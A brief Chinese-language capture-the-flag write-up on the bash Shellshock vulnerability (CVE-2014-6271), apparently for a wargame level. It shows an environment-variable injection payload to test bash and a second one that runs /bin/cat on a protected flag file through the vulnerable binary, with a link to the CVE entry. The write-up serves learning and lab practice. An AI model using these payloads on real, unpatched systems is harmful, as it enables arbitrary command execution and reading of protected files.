shellshock
考查bash远程任意代码执行漏洞。
可以看到含有bash文件,使用以下命令测试bash是否受shellshock影响
env x='() { :;}; echo test' ./bash -c:test
受影响,执行bash远程任意代码执行漏洞
env x='() { :;}; /bin/cat flag' ./shellshock
具体可以看看CVE-2014-6271的detail。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271